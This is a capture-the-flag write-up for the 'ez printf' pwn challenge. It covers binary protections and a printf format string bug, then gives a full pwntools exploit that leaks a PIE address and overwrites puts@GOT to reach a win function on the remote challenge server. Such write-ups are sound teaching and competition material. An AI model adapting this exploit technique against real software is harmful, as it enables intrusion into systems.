Texas Instruments Security Week 2025
βοΈ Ahoy, landlubbers and logic-lords! This be she11D0n3 of the notorious crew H4ck_th3_Wh47, chartinβ a course straight into the stormy seas of Texas Instruments Security Week 2025! π΄ββ οΈ Each systemβs a cryptic siren song, each puzzle a treasure chest locked with layers of encryption. We donβt just hackβwe unravel, we decode, we conquer. πβ‘
PWN
ez printf
First I look for file type and protections.
>>>file vuln
ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, ..., for GNU/Linux 4.4.0, not stripped
>>>checksec --file=vuln
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No
Analysing and de-compiling the binary:
read(0, buf, 120uLL);
printf(buf);
read(0, buf, 120uLL);
printf(buf);
puts("nice try");
return 0;
So, we can see that there is a clear format string vulnerability twice, since no format specifiers are passed to printf
.
Further there is also a win
function that prints the flag.
Exploit
Use the first input to leak an address that points into the binary itself, which we'll use further to get runtime
win
function address (thereby Bypassing PIE protection).Overwriting the GOT entry for
puts
with the dynamically resolved addr of thewin
function (GOT overwrite).
Execution
pwndbg> stack 20
00:0000β rsp 0x7fffffffd880 ββ 'MYINPUT\n'
01:0008β-078 0x7fffffffd888 ββ 0x80000
02:0010β-070 0x7fffffffd890 ββ 0x8000
03:0018β-068 0x7fffffffd898 ββΈ 0x7fffffffd8c8 ββ 0
04:0020β-060 0x7fffffffd8a0 ββ 0x6800000017
05:0028β-058 0x7fffffffd8a8 ββ 0
... β 7 skipped
0d:0068β-018 0x7fffffffd8e8 ββΈ 0x7ffff7fe5af0 (dl_main) ββ endbr64
0e:0070β-010 0x7fffffffd8f0 ββΈ 0x7fffffffd9e0 ββΈ 0x555555555090 (_start) ββ endbr64
0f:0078β-008 0x7fffffffd8f8 ββ 0x34417aea34716e00
10:0080β rbp 0x7fffffffd900 ββΈ 0x7fffffffd9a0 ββΈ 0x7fffffffda00 ββ 0
0x7fffffffd8f0 ββΈ 0x7fffffffd9e0 ββΈ 0x555555555090 (_start) ββ endbr64
So there is 0x55.. address of _start
which is pointing in the binary (can also check using command vmmap in pwndbg).
Inorder to access this address by printf
we need to de-reference 0x7fffffffd9e0
this for which we'll use %s
format specifier and will further unpack the printed addr.
I found the offset to be 20, so initial payload: %20$s
I usually prefer manually crafting the payload in case of overwriting via %n
specifier because it took me some good time to understand the working, but since here the addr to jump on was being dynamically resolved, I used the pwntools library function.
FINAL EXPLOIT
from pwn import *
debug = 0
# context.log_level = 'debug'
elf = context.binary = ELF('./vuln1')
if debug:
p = process(elf.path)
else:
p = remote('74.207.229.59', 20221)
win_off = 0x1189
offset = 6
p.recvline()
p.sendline(b'%20$s')
leaked = p.recvline().strip().ljust(8, b'\x00')
leaked_addr = u64(leaked)
log.success(f"Leaked address: {hex(leaked_addr)}")
base = leaked_addr - elf.symbols['_start']
win = base + win_off
got_puts = base + elf.got['puts']
log.success(f"Base address: {hex(base)}")
log.success(f"win function: {hex(win)}")
log.success(f"puts@GOT : {hex(got_puts)}")
payload = fmtstr_payload(offset, {got_puts: win}, write_size='short')
p.sendline(payload)
p.interactive()
p.recv()
Flag: texsaw{Pr1nt1ng_tHe_Fs_15_e4sy}
Last updated